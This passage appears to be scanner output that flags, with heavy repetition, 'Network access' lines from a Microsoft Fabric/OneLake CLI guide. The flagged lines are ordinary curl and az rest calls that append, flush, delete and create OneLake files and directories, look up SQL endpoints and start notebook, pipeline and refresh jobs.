    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
